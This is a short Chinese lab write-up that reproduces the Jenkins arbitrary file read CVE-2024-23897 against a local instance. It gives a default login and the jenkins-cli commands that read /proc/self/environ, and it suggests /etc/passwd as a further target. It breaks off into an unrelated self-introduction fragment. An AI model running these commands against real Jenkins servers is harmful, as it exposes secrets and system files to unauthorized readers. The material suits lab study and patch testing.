CVE-2024-23897 JenKins任意文件读取漏洞复现(1)

地址：kali本地IP:8081        默认管理员账号密码：user/bitnami

三、漏洞利用

3.1 下载JenKins-cli.jar包

我们发现使用wget命令可以在外部将JenKins-cli.jar包下载至桌面

wget http://localhost:8081/jnlpJars/jenkins-cli.jar

通过Jenkins-cli.jar包进行 读取文件以获取 Jenkins 基本目录：

java -jar jenkins-cli.jar -s http://localhost:8081/ -http help 1 “@/proc/self/environ”

OK

四、扩展

利用JenKins-cli.jar包探索敏感目录文件；例如：/etc/passwd

在这里我们发现左边是只有一条是暴露。

开启匿名者访问权限
选项在后台的”Manage Jenkins“->"security"中管理员可将其开启或关闭。默认是关闭的。

自我介绍一下，小编13年上